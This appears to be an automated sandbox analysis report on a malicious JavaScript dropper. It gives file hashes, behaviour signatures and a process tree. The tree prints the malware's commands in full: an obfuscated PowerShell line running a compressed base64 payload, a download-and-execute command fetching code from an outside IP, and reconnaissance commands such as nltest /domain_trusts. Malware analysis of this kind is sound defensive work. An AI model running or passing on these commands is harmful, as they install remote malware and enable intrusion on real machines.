Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04/01/2023, 07:37

General

  • Target

    55e020dbea48939cdd285ea106713f40bc077e2c.js

  • Size

    43KB

  • MD5

    cd8ce0411e414f67fa7e34b06004314f

  • SHA1

    55e020dbea48939cdd285ea106713f40bc077e2c

  • SHA256

    0442f029601c5925d346260e512770beb5a9a28ef4ac9e2da5d1b0e7d27341a6

  • SHA512

    322b0c0a1166f392150d46f529ab3475954b5255f955e893bffc49c61865a2f953dc3dd598ca13f9954b61fa79bea797ec7e740ab7cab48d6d5dda08d9631e03

  • SSDEEP

    768:4aPlutIv0NmQCjO2rpReJk3zBE5kxuALjWV+yLFz9ohcqJ8H:uK1j1syDaVh9onKH

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://159.203.143.66/r/

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\55e020dbea48939cdd285ea106713f40bc077e2c.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2420
    • C:\wiNDOWS\SYsTEM32\cmD.exe
      "C:\wiNDOWS\SYsTEM32\cmD.exe" /c PoweRSheLL -execUTiONPoLic BypasS "& ((gV '*mDr*').naME[3,11,2]-Join'') ( nEw-oBJecT syStEm.iO.CompREsSiON.defLAtEStReAM( [SYstEM.io.MEmOryStream] [CoNVErT]::FrOmbASe64sTRING('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') , [sYsTEm.io.ComPREsSiOn.coMPreSsioNmODe]::DEcOmPreSs) |fOrEACH-obJEcT{ nEw-oBJecT sySTEM.Io.sTReaMreadeR( $_, [teXt.EnCODInG]::AsCiI)} ).ReaDtoenD( ) "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4360
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        PoweRSheLL -execUTiONPoLic BypasS "& ((gV '*mDr*').naME[3,11,2]-Join'') ( nEw-oBJecT syStEm.iO.CompREsSiON.defLAtEStReAM( [SYstEM.io.MEmOryStream] [CoNVErT]::FrOmbASe64sTRING('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') , [sYsTEm.io.ComPREsSiOn.coMPreSsioNmODe]::DEcOmPreSs) |fOrEACH-obJEcT{ nEw-oBJecT sySTEM.Io.sTReaMreadeR( $_, [teXt.EnCODInG]::AsCiI)} ).ReaDtoenD( ) "
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4772
        • C:\Windows\system32\whoami.exe
          "C:\Windows\system32\whoami.exe"
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:3812
  • C:\Windows\System32\WScript.exe
    C:\Windows\System32\WScript.exe "C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\AAFC38FD7678DCE0.vbs" "iex (iwr -useb http://159.203.143.66/r/emailbill/70D1ACF614DD21C1)"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3552
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass iex (iwr -useb http://159.203.143.66/r/emailbill/70D1ACF614DD21C1)
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      PID:920
  • C:\Windows\System32\WScript.exe
    C:\Windows\System32\WScript.exe "C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\AAFC38FD7678DCE0.vbs" "iex (iwr -useb http://159.203.143.66/r/emailbill/70D1ACF614DD21C1)"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4788
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass iex (iwr -useb http://159.203.143.66/r/emailbill/70D1ACF614DD21C1)
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:3912
      • C:\Windows\system32\whoami.exe
        "C:\Windows\system32\whoami.exe"
        3⤵
          PID:2296
        • C:\Windows\system32\systeminfo.exe
          "C:\Windows\system32\systeminfo.exe"
          3⤵
          • Gathers system information
          PID:4684
        • C:\Windows\system32\whoami.exe
          "C:\Windows\system32\whoami.exe" /all
          3⤵
            PID:2000
          • C:\Windows\system32\nltest.exe
            "C:\Windows\system32\nltest.exe" /domain_trusts
            3⤵
              PID:1164
            • C:\Windows\system32\tasklist.exe
              "C:\Windows\system32\tasklist.exe"
              3⤵
              • Enumerates processes with tasklist
              PID:2224
        • C:\Windows\system32\msiexec.exe
          C:\Windows\system32\msiexec.exe /V
          1⤵
            PID:768

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                  Filesize

                  3KB

                  MD5

                  00e7da020005370a518c26d5deb40691

                  SHA1

                  389b34fdb01997f1de74a5a2be0ff656280c0432

                  SHA256

                  a529468d442b807290b41565130e4c52760af9abec37613114db3857f11ad4fe

                  SHA512

                  9a02bacc6fb922d6202548e80e345c6cdec346b79ef7ac7a56f89fd342ff128de004065b9d010d015b54d4ca72f665ca658c7ffcd8eb906e14bfa5b48b43f2cf

                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\AAFC38FD7678DCE0.vbs

                  Filesize

                  106B

                  MD5

                  29814eb775761c5088028d1907f48c55

                  SHA1

                  cb369ec71c0a44b9b9411edf956efbb5654ab26e

                  SHA256

                  ceb3b2cce642a3dcda3a370c282fd0ae6daf7521a44350d302b4a1351e4ac3db

                  SHA512

                  a7ebcab691e6bbe52f150de7e1515f341bab3756c0941fc221d1aa40c54983b73158ff4037b11c18e1fddc2e634ea0fd5ab898cf716b02163c10d98159a7b3c1

                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                  Filesize

                  1KB

                  MD5

                  b5a3607d79095fa2d71713fe9eb1c415

                  SHA1

                  a22e6c39531b8ec99a11a7bef45643d9c5b2802a

                  SHA256

                  a4c13689f416016635b8055eeaa203e46a3a3c0d49cb967b6a2cd1f6c4cf2a96

                  SHA512

                  fbed786a11741ec999f84272b9f8f53716fa98d244bfa2e4404873fcf13bebddc42e504c63ee13422aa4d64cb06cf3fe0a3535b75e458962429f08a79cb92944

                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                  Filesize

                  1KB

                  MD5

                  e9c5f9e7437285aa87e4433bc7e0f9d7

                  SHA1

                  2363ddac1155a065a54dc6a0fc307d86bd88246b

                  SHA256

                  0cb341e3c6fd873cf50bd24821761efdaec49406557f21db3f1a4ee68796b520

                  SHA512

                  7cc866c84540c274e013a0eb453e89a27a52a410923ee28488f9b88d6fd8dad77c6e7e99e1cf97dc6202233a7d093e89bfc22eae3102d50cd83207d98b2f3cb2

                • memory/920-141-0x00007FF84ECD0000-0x00007FF84F791000-memory.dmp

                  Filesize

                  10.8MB

                • memory/920-143-0x00007FF84ECD0000-0x00007FF84F791000-memory.dmp

                  Filesize

                  10.8MB

                • memory/920-144-0x00007FF84ECD0000-0x00007FF84F791000-memory.dmp

                  Filesize

                  10.8MB

                • memory/3912-147-0x00007FF84ED80000-0x00007FF84F841000-memory.dmp

                  Filesize

                  10.8MB

                • memory/3912-153-0x00007FF84ED80000-0x00007FF84F841000-memory.dmp

                  Filesize

                  10.8MB

                • memory/4772-137-0x00007FF84F9A0000-0x00007FF850461000-memory.dmp

                  Filesize

                  10.8MB

                • memory/4772-136-0x00007FF84F9A0000-0x00007FF850461000-memory.dmp

                  Filesize

                  10.8MB

                • memory/4772-134-0x000001237F230000-0x000001237F252000-memory.dmp

                  Filesize

                  136KB